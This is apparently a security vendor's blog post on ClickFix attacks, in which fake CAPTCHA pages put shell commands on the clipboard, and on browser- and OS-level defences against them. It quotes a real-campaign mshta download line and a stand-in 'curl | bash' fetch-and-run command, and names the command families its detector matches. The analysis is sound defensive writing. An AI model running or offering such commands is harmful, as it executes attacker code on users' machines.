Back to all posts
Published on · by Renaud Deraison

The clipboard is the exploit — where ClickFix leaves every defender

A fake CAPTCHA writes a PowerShell one-liner to the clipboard. The user presses Win+R and pastes. No sandbox escape, no zero-day, no signed binary required — the human is the exploit. Here is what we ship against it today, where the gaps still are, and what Apple got right and wrong in macOS 26.4.

A page pretends to be a CAPTCHA. While the user reads the "I'm not a robot" instructions, the page silently writes a PowerShell command to the clipboard. Then it asks the user to press Win+R and paste "to verify." The human is the exploit. This is ClickFix, and it is genuinely hard to stop — not because it is clever, but because it routes around almost every defense a browser was built to provide.

On April 9, 2026, Rapid7 watched a user visit what looked like a download page for Anthropic's Claude desktop app. The page asked them to "verify they were human." When they clicked the button, the page put the following string on the clipboard:

mshta https://download-version.1-5-8.com/claude.msixbundle

It then told them to press Win+R and paste. The user did. mshta.exe is a Windows binary that executes HTML Applications, shipped with every version of the operating system for more than twenty years. What mshta executed was a chain that ended in an infostealer running on the host. No browser bug was touched. No code-signing check was bypassed. No elevation prompt appeared. The browser did exactly what the user asked it to do; the operating system did exactly what the user asked it to do. The attacker just asked through both of them, using the clipboard as the wire.

Four days later, Booking.com disclosed that its hotel-partner network had been hit by the same technique — tracked by Microsoft as Storm-1865 — with a final payload of XWorm and VenomRAT. Microsoft itself, in an earlier write-up, attributed forty-seven percent of initial-access intrusions in 2025 to this one pattern. The Booking.com partners did not click a malicious attachment. They did not download an executable. They pressed Win+R and pasted something. That is all it takes now.

Why ClickFix works.

The attack chain fits on a napkin.

IN THE BROWSERAT THE HUMANON THE HOST1Fake CAPTCHA"I'm not a robot"looks like every other one2Clipboard writenavigator.clipboardmshta https://...3User presses Win+Ror Terminal on macOS"to verify you are human"4PasteCtrl+VEnter5Host runspayloadinfostealer, RATWHERE A DEFENSE LAYER COULD INTERVENEAt stage 1 · URL/reputation filters — defeated by fresh domains, typosquats, trusted SaaS subdomainsAt stage 2 · hook navigator.clipboard, match the write against shell-command patterns, warn or blockAt stage 3-4 · the host OS inspects what is being pasted into Terminal or Run — macOS 26.4 does this, partiallyAt stage 5 · EDR, AMSI, antivirus — arriving last, against a command the user chose to run
The ClickFix kill chain. The page is a normal web page. The clipboard is a normal clipboard. Win+R is a normal key combination. mshta.exe is a normal Windows utility. Nothing in this chain is an exploit in the classical sense — the exploit is the sequence of ordinary operations performed by the human in the middle.

Every defense people usually reach for has already lost by the time the payload runs. The URL reputation filter? The attacker registered download-version.1-5-8.com yesterday. The browser sandbox? The payload does not try to escape the browser — it just asks the human to carry it out. The code-signing check on the executable? mshta.exe is a signed Microsoft binary. The elevation prompt? mshta does not need elevation to download and run an HTA. The endpoint agent? It sees the parent process is explorer.exe kicked off by a user keypress, which is indistinguishable from the user running literally anything else on their computer.

ClickFix takes the one part of the computer the industry has been unable to patch — the person sitting in front of it — and turns them into the execution stage. That is why it is everywhere now. The Storm-1865 campaign used a Booking.com-branded lure. The Rapid7 case used a Claude installer lure. Facebook creator-account takeovers have been using the same technique for months. The lure changes weekly; the mechanism does not.

The same attack, aimed at macOS.

The Rapid7 capture, the Booking.com breach and the Facebook creator takeovers all targeted Windows hosts. That is a real bias in this week's data — the ClickFix industry is, right now, mostly a Windows industry — but it is a property of the market, not a property of the attack. ClickFix is a clipboard-and-keyboard technique. It does not care which operating system the keyboard is attached to.

On macOS the substitutions are mechanical. Win+R becomes Cmd+Space and Terminal — or lately, Script Editor. The mshta line becomes curl -s https://evil.example | bash, or an osascript -e one-liner, or a base64-encoded AppleScript do shell script. The fake CAPTCHA stays the fake CAPTCHA; the clipboard write stays the clipboard write; the page's "verify you are human" script changes two sentences. Bitdefender documented Mac-targeted ClickFix lures delivering Atomic Stealer earlier this year, and — as we will come to in a moment — the fact that Apple felt the need to ship a platform-level response in macOS 26.4 is the clearest possible signal that the Mac variant is not hypothetical.

For Bromure, this is the load-bearing case. Bromure runs on macOS. Every user we ship to is a macOS ClickFix target before they are anything else. When we talk in the next section about clipboard isolation and phishing-guard, we are not talking about a Windows curiosity — we are talking about a technique that has already landed on our users' actual operating system, and that the platform they chose is trying, imperfectly, to patch.

Bromure's honest posture against ClickFix.

We would like to tell you that Bromure prevents ClickFix. It does not. What Bromure does is take a problem that was previously unowned — the clipboard as an attacker-controlled wire between the browser and the host — and put it behind two layers that we are actively working on, one architectural and one plugin-based. Neither is a finished answer. Both are better than nothing. Here is exactly where they are today.

Layer one — clipboard isolation as an option, not a default.

Bromure runs each tab inside its own disposable Linux VM. The page runs in there; the browser runs in there; the navigator.clipboard write from the fake CAPTCHA happens in there. The question is what the VM's clipboard is connected to. By default, today, it is connected to the macOS host clipboard — because most of the time the clipboard is how you copy a URL from the browser into Messages, or paste a password from 1Password into a login form. Breaking that by default would make the browser hostile to use.

Total-isolation mode flips that default. In total isolation, the clipboard bridge between the VM and the macOS host is severed. A page inside the tab can still write to its own VM's clipboard — and the user can still paste inside that VM's Linux terminal if they really want to — but the host clipboard the user pastes into Win+R, or into Terminal.app, or into Spotlight, is a different clipboard. The page's mshta https://... string never reaches the host paste buffer. The ClickFix chain truncates at stage 2.

Default · clipboard sharing onchosen for usability — most people need copy/paste host ↔ tabTAB VM · LinuxFake CAPTCHA pagenavigator.clipboard.writeText(…)mshta https://…macOS HOSTmshta https://…host clipboardRun dialogPAYLOAD EXECUTESclipboard bridge (on)Total isolation · clipboard sharing offopt-in — you lose copy/paste convenience across the boundaryTAB VM · LinuxFake CAPTCHA pagenavigator.clipboard.writeText(…)mshta https://…VM clipboard onlymacOS HOST(unchanged)host clipboardRun dialognothing to pasteseveredTotal isolation is a toggle, not a default. We will not pretend otherwise.
Two postures, same tab, same page. On the left, clipboard sharing on (the default today): the page's write lands in the host clipboard and the user's Win+R paste executes it. On the right, total isolation: the VM clipboard and the host clipboard are different buffers, and the attack string never crosses. The trade-off is real — copying a URL from a tab into your messenger stops working.

The honest read on total isolation: it is a clean architectural answer to ClickFix for the users who want it, and it is a usability tax we are not willing to ship as the default for everyone. Most people copy and paste dozens of times a day between their browser and their notes, or their messenger, or a document they are working on. Making that path "it's off, go find the setting" to get copy/paste back would mean most users turn it back on inside a week — and then we have taught them the value of clipboard sharing and the cost of security in one motion. That is not the lesson we want them to learn.

So total isolation is there for the user who wants it, documented, and it is the strongest thing the architecture has to say about ClickFix. It is not the thing most users will run.

Layer two — the anti-phishing plugin, today and tomorrow.

For the default posture — clipboard bridge on — we ship a second line of defense in Bromure's anti-phishing component, which we call phishing-guard. It is worth describing what it does, because most of the industry does not do it, and because we think it is the beginning of the right answer rather than the end.

Phishing-guard hooks the three clipboard-write entry points inside the tab VM's Chromium: the modern navigator.clipboard.writeText and clipboard.write APIs, and the legacy document.execCommand('copy') path that older pages still use. Whenever a page writes text to the clipboard, phishing-guard gets to see it before the host clipboard does.

It then runs two tests in parallel. First, it matches the clipboard content against a set of shell-command regular expressions — we keep ten of them, tuned on the payloads we actually see in the wild: powershell invocations, mshta https:// patterns, curl ... | bash pipes, base64-encoded PowerShell blobs, certutil -urlcache, rundll32 tricks, and a few others. Second, it scans the rendered page for instruction patterns that tell the user to execute the clipboard content — thirteen of them, multilingual — things like "Press Win+R," "open Terminal," "paste to verify you are human," in English, French, Spanish, German, Portuguese, Italian, Dutch, Polish, Japanese, Korean, Chinese, Arabic and Russian.

When both fire — a clipboard write that looks like a shell command, on a page whose text is coaching the user to paste it — phishing-guard sends the candidate payload to a language-model verdict and surfaces an in-browser warning if the verdict is hostile.

Two honest limitations even when this is working as designed: the LLM call has a latency cost, so a fast user can paste before the verdict returns; and regex-plus-page-text catches the shape of ClickFix but not every variant (a page that instructs the user verbally via an embedded video rather than in text would slip the pattern scan today). We are actively working on hardening the block point and shrinking the detection window. Those are engineering problems with known answers; we are just not done with them.

What Apple shipped in macOS 26.4 — and where it falls short.

On March 24, 2026, Apple shipped the same shape of idea at the operating-system level. macOS 26.4 added a paste-warning dialog to the first-party Terminal.app: when the user pastes into a Terminal window, macOS inspects the clipboard and, under some conditions, displays a blocking dialog reading "Possible malware. Paste blocked. Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy." This is a good step, and we are glad Apple did it. We also think it is worth being precise about what it is and is not.

macOS 26.4 paste warning — coverageCOVEREDTerminal.appon macOS 26.4+Caveat · the warningfires once per source app;a returning user with"always allow" clickedis back to square one.Good. Not enough.NOT COVEREDOther terminalsiTerm2AlacrittyWarpKitty, WezTerm, …The warning is inTerminal.app itself,not in macOS.NOT COVEREDScript EditorAppleScript / osascriptJamf Threat Labs reportedAtomic Stealer operatorspivoted to Script Editorwithin days of the 26.4release.Active bypass.NOT COVEREDWindowsWin+R, mshta,PowerShellMost ClickFixlures targetWindows hosts.Wrong OS.
What Apple's macOS 26.4 paste warning covers, and what it does not. The first column is the attack surface it was designed against — Safari writing a shell command, the user pasting into Terminal.app. The other columns are the surfaces attackers are already pivoting to: non-Apple terminals, Script Editor, and the entirety of Windows, which is where most ClickFix lands in the first place.

Three limitations worth naming. The first is that the warning lives inside Terminal.app, not inside macOS's pasteboard layer. iTerm2, Alacritty, Warp, Kitty, and every other terminal the Mac developer community actually uses do not inherit the check. That is not an Apple oversight — it is a scope choice — but it means the user base that is most likely to paste a random shell command, engineers with their own terminal preference, is exactly the user base this feature does not protect.

The second is Script Editor. On April 8, 2026, Jamf Threat Labs reported that Atomic Stealer operators had already shifted their ClickFix social-engineering script from "open Terminal and paste this" to "open Script Editor and paste this," because Script Editor executes AppleScript and shell commands via do shell script and is not covered by the 26.4 warning. Jamf's Thijs Xhaflaire put it as plainly as anyone could: "by shifting execution from Terminal to Script Editor, the attacker preserves a familiar delivery mechanism while quietly changing how and where the command actually runs." The industry took two weeks to route around the mitigation. That is not a criticism of Apple; it is a criticism of the shape of the problem. You cannot solve ClickFix by patching one destination.

The third limitation is the biggest and the least discussed: macOS 26.4 protects Mac users. The actual ClickFix industry — the Storm-1865 affiliate structure behind the Booking.com breach, the fake Claude-installer campaign, and the bulk of the forty-seven percent of 2025 initial-access figure — ships Windows payloads, uses Win+R, invokes mshta and PowerShell, and lands on Windows hosts. Apple can protect Terminal.app perfectly and move zero needles on that fleet. For the ClickFix post-mortems you will read this year, the operating system with the paste warning is not usually the one the victim was running.

What Apple got right

Treating clipboard-to-shell-command as a security-relevant paste path, and inspecting it at the OS layer where every app on the system gets the benefit. That framing is correct. The one-shot prompt, the branded dialog, the "your Mac has not been harmed" wording — all well-made. This is the first platform-level acknowledgement that the clipboard is a threat channel.

Why it is not the whole answer

The check is in Terminal.app, not the pasteboard subsystem. It is single-shot. Script Editor is already a bypass. And the victim population the feature was designed for is a small fraction of the population ClickFix actually targets. Apple shipped a good feature. It did not ship a solution, and we do not think Apple claims it did.

What the browser is uniquely placed to do

The browser sees the page that is writing to the clipboard and the text the page is using to coach the user. The operating system only sees the end of the chain. Two separate signals — the clipboard-write site and the page's social-engineering text — combine into a verdict the OS alone does not have access to. That is the argument for the browser doing some of this work.

What the browser cannot reach

Once the user pastes into a real Terminal, a real Run dialog, a real Script Editor, the payload has crossed out of anything the browser can see. The host has to carry its share. macOS 26.4 is the host carrying its share, in the places it chose to cover. Windows has to do the same. This is a problem that needs both ends.

The thesis we are willing to defend.

For twenty years the industry has answered social-engineering attacks with posters. "Don't click suspicious links." "Be aware of phishing attempts." "Think before you paste." When a user falls for ClickFix, the public-facing response is usually some variation of the user should have known better — articles explaining how to spot the fake CAPTCHA, training modules, annual security-awareness quizzes, blame shifted politely downward. The assumption under all of it is that phishing is, at root, a human problem, and that the technical layer has done what it can.

We do not believe that. We believe ClickFix, and every other clipboard-and-keyboard social-engineering technique, is a technical problem that the technical layer has consistently declined to own. The clipboard is an unauthenticated message bus between any web page and any other app on the operating system. The Run dialog accepts any string. Terminal executes whatever lands in it. None of these designs were audited against the attacker the clipboard now actually has. None of them are going to fix themselves.

The right response is work — inside browsers, inside operating systems, inside ecosystem cooperation — to make the clipboard-to-shell-command path something the machine is willing to intervene in on the user's behalf. macOS 26.4 is a step; Windows needs its own. phishing-guard is a step; hard-blocking the clipboard write, shipping a clipboard-specific warning instead of a generic spinner, and reducing the verdict latency to where it beats a fast paste — those are the next steps. Total-isolation mode is a step; making it easier to live with day-to-day is the one after.

None of this is a poster. None of it asks the user to recognise a fake CAPTCHA faster, or to "hover over links," or to become a security expert to open a browser tab. We think people should not have to become security experts to open a browser tab. Tech broke this. Tech should fix it.

Bromure's roadmap against ClickFix is the shape of that conviction. What we ship today is a partial defense with two levers — a strong one that costs usability, and a softer one that is growing teeth as fast as we can grow them. What we ship next year will be sharper. And we will keep saying what the feature does and does not do, in posts like this one, because the alternative — shipping a clean marketing page with a checkmark next to "ClickFix" — is exactly the kind of thing that got the industry to a place where Storm-1865 can make forty-seven percent of 2025's initial access look easy.